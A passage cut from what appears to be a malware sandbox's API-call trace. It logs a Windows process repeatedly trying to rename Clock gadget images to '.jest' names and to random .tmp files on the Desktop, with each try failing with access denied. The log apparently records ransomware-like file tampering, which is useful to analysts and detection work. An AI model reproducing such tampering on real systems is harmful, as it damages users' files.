[0125.914] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0125.914] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0125.914] GetTickCount () returned 0x1151ed7 [0125.914] IsWindowVisible (hWnd=0x30268) returned 0 [0125.914] Sleep (dwMilliseconds=0x0) [0125.915] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.915] GetFullPathNameA (in: lpFileName="LuF TxHVpUmJr5XmIgImpMeKAWuofG5SD7MZxqSp0nSyyYeniAsWC qSVxlsD2PFEvpjhpeh83INjIpHr SRhTY4-oAOuivjKiXuP.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LuF TxHVpUmJr5XmIgImpMeKAWuofG5SD7MZxqSp0nSyyYeniAsWC qSVxlsD2PFEvpjhpeh83INjIpHr SRhTY4-oAOuivjKiXuP.tmp", lpFilePart=0x18e708*="LuF TxHVpUmJr5XmIgImpMeKAWuofG5SD7MZxqSp0nSyyYeniAsWC qSVxlsD2PFEvpjhpeh83INjIpHr SRhTY4-oAOuivjKiXuP.tmp") returned 0x8f [0125.915] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png", lpFilePart=0x18e708*="modern.png") returned 0x4d [0125.915] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\modern.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LuF TxHVpUmJr5XmIgImpMeKAWuofG5SD7MZxqSp0nSyyYeniAsWC qSVxlsD2PFEvpjhpeh83INjIpHr SRhTY4-oAOuivjKiXuP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\luf txhvpumjr5xmigimpmekawuofg5sd7mzxqsp0nsyyyeniaswc qsvxlsd2pfevpjhpeh83injiphr srhty4-oaouivjkixup.tmp")) returned 0 [0125.916] GetLastError () returned 0x5 [0125.916] GetLastError () returned 0x5 [0125.916] SetLastError (dwErrCode=0x5) [0125.916] GetLastError () returned 0x5 [0125.916] SetLastError (dwErrCode=0x5) [0125.916] GetLastError () returned 0x5 [0125.916] SetLastError (dwErrCode=0x5) [0125.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.916] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0125.917] GetFullPathNameA (in: lpFileName="LuF TxHVpUmJr5XmIgImpMeKAWuofG5SD7MZxqSp0nSyyYeniAsWC qSVxlsD2PFEvpjhpeh83INjIpHr SRhTY4-oAOuivjKiXuP.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LuF TxHVpUmJr5XmIgImpMeKAWuofG5SD7MZxqSp0nSyyYeniAsWC qSVxlsD2PFEvpjhpeh83INjIpHr SRhTY4-oAOuivjKiXuP.tmp", lpFilePart=0x18e6e4*="LuF TxHVpUmJr5XmIgImpMeKAWuofG5SD7MZxqSp0nSyyYeniAsWC qSVxlsD2PFEvpjhpeh83INjIpHr SRhTY4-oAOuivjKiXuP.tmp") returned 0x8f [0125.917] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LuF TxHVpUmJr5XmIgImpMeKAWuofG5SD7MZxqSp0nSyyYeniAsWC qSVxlsD2PFEvpjhpeh83INjIpHr SRhTY4-oAOuivjKiXuP.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x2046754c, cFileName="TxHVpUmJr5XmIgImpMeKAWuofG5SD7MZxqSp0nSyyYeniAsWC qSVxlsD2PFEvpjhpeh83INjIpHr SRhTY4-oAOuivjKiXuP.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.917] GetLastError () returned 0x2 [0125.917] GetLastError () returned 0x2 [0125.917] SetLastError (dwErrCode=0x2) [0125.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.917] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.918] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.918] GetLastError () returned 0x0 [0125.918] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.919] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.919] GetLastError () returned 0x0 [0125.919] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.920] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.920] GetLastError () returned 0x0 [0125.920] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.920] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.920] GetLastError () returned 0x0 [0125.920] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.920] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0125.921] GetTickCount () returned 0x1151ee7 [0125.921] GetTickCount () returned 0x1151ee7 [0125.921] GetTickCount () returned 0x1151ee7 [0125.921] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0125.921] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0125.921] GetTickCount () returned 0x1151ee7 [0125.921] IsWindowVisible (hWnd=0x30268) returned 0 [0125.921] Sleep (dwMilliseconds=0x0) [0125.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.922] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0125.922] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_h.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_h.png.jest")) returned 0 [0125.922] GetLastError () returned 0x5 [0125.922] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥浜摯牥彮⹨湰g") returned 0x4f [0125.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0125.922] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥浜摯牥彮⹨湰g") returned 0x4f [0125.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=80, lpWideCharStr=0x14cf24c, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png") returned 80 [0125.922] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥浜摯牥彮⹨湰⹧敪瑳") returned 0x54 [0125.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=84, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0125.922] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥浜摯牥彮⹨湰⹧敪瑳") returned 0x54 [0125.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=85, lpWideCharStr=0x1445ffc, cchWideChar=169 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png.jest") returned 85 [0125.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png", lpUsedDefaultChar=0x0) returned 80 [0125.923] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png", lpFilePart=0x18e6d8*="modern_h.png") returned 0x4f [0125.923] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d78086, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d78086, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fa9c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x78, dwReserved1=0x0, cFileName="modern_h.png", cAlternateFileName="")) returned 0x143ce48 [0125.923] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.923] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.923] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x31b)) [0125.923] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x31b)) [0125.924] GetUserDefaultLCID () returned 0x409 [0125.924] VarBstrFromR4 (in: fltIn=0x479444e6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.8") returned 0x0 [0125.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="†") returned 1 [0125.924] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0125.924] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0125.924] GetTickCount () returned 0x1151ee7 [0125.924] GetTickCount () returned 0x1151ee7 [0125.924] GetTickCount () returned 0x1151ee7 [0125.924] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0125.924] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0125.925] GetTickCount () returned 0x1151ee7 [0125.925] IsWindowVisible (hWnd=0x30268) returned 0 [0125.925] Sleep (dwMilliseconds=0x0) [0125.925] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.925] GetFullPathNameA (in: lpFileName="i6ZBNOXrwLsZrRGszFeStmhTyjkSPWvjzLXFC_Y7WKy_k0XMjwfRJ IQys2L3NqAZ0eYtsE54D-xkb1eG93ji2NGKrI nJRg8gk5F.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i6ZBNOXrwLsZrRGszFeStmhTyjkSPWvjzLXFC_Y7WKy_k0XMjwfRJ IQys2L3NqAZ0eYtsE54D-xkb1eG93ji2NGKrI nJRg8gk5F.tmp", lpFilePart=0x18e708*="i6ZBNOXrwLsZrRGszFeStmhTyjkSPWvjzLXFC_Y7WKy_k0XMjwfRJ IQys2L3NqAZ0eYtsE54D-xkb1eG93ji2NGKrI nJRg8gk5F.tmp") returned 0x8f [0125.926] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png", lpFilePart=0x18e708*="modern_h.png") returned 0x4f [0125.926] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_h.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i6ZBNOXrwLsZrRGszFeStmhTyjkSPWvjzLXFC_Y7WKy_k0XMjwfRJ IQys2L3NqAZ0eYtsE54D-xkb1eG93ji2NGKrI nJRg8gk5F.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i6zbnoxrwlszrrgszfestmhtyjkspwvjzlxfc_y7wky_k0xmjwfrj iqys2l3nqaz0eytse54d-xkb1eg93ji2ngkri njrg8gk5f.tmp")) returned 0 [0125.926] GetLastError () returned 0x5 [0125.926] GetLastError () returned 0x5 [0125.926] SetLastError (dwErrCode=0x5) [0125.926] GetLastError () returned 0x5 [0125.926] SetLastError (dwErrCode=0x5) [0125.926] GetLastError () returned 0x5 [0125.926] SetLastError (dwErrCode=0x5) [0125.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.927] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0125.927] GetFullPathNameA (in: lpFileName="i6ZBNOXrwLsZrRGszFeStmhTyjkSPWvjzLXFC_Y7WKy_k0XMjwfRJ IQys2L3NqAZ0eYtsE54D-xkb1eG93ji2NGKrI nJRg8gk5F.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i6ZBNOXrwLsZrRGszFeStmhTyjkSPWvjzLXFC_Y7WKy_k0XMjwfRJ IQys2L3NqAZ0eYtsE54D-xkb1eG93ji2NGKrI nJRg8gk5F.tmp", lpFilePart=0x18e6e4*="i6ZBNOXrwLsZrRGszFeStmhTyjkSPWvjzLXFC_Y7WKy_k0XMjwfRJ IQys2L3NqAZ0eYtsE54D-xkb1eG93ji2NGKrI nJRg8gk5F.tmp") returned 0x8f [0125.927] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i6ZBNOXrwLsZrRGszFeStmhTyjkSPWvjzLXFC_Y7WKy_k0XMjwfRJ IQys2L3NqAZ0eYtsE54D-xkb1eG93ji2NGKrI nJRg8gk5F.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x425a3669, cFileName="NOXrwLsZrRGszFeStmhTyjkSPWvjzLXFC_Y7WKy_k0XMjwfRJ IQys2L3NqAZ0eYtsE54D-xkb1eG93ji2NGKrI nJRg8gk5F.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.927] GetLastError () returned 0x2 [0125.927] GetLastError () returned 0x2 [0125.927] SetLastError (dwErrCode=0x2) [0125.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.928] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.928] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.928] GetLastError () returned 0x0 [0125.928] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.928] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.929] GetLastError () returned 0x0 [0125.929] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.929] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0125.929] GetTickCount () returned 0x1151ee7 [0125.929] GetTickCount () returned 0x1151ee7 [0125.929] GetTickCount () returned 0x1151ee7 [0125.929] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0125.929] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0125.929] GetTickCount () returned 0x1151ee7 [0125.929] IsWindowVisible (hWnd=0x30268) returned 0 [0125.929] Sleep (dwMilliseconds=0x0) [0125.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.930] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0125.930] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_m.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_m.png.jest")) returned 0 [0125.930] GetLastError () returned 0x5 [0125.930] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥浜摯牥彮⹭湰g") returned 0x4f [0125.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0125.931] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥浜摯牥彮⹭湰g") returned 0x4f [0125.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=80, lpWideCharStr=0x144bb04, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png") returned 80 [0125.931] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥浜摯牥彮⹭湰⹧敪瑳") returned 0x54 [0125.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=84, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0125.931] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥浜摯牥彮⹭湰⹧敪瑳") returned 0x54 [0125.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=85, lpWideCharStr=0x14c2ea4, cchWideChar=169 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png.jest") returned 85 [0125.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png", lpUsedDefaultChar=0x0) returned 80 [0125.931] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png", lpFilePart=0x18e6d8*="modern_m.png") returned 0x4f [0125.931] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d9e1e5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d9e1e5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fa9c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0x78, dwReserved1=0x0, cFileName="modern_m.png", cAlternateFileName="")) returned 0x143ce48 [0125.931] FindClose (in: hFindFile=0x143ce48 | 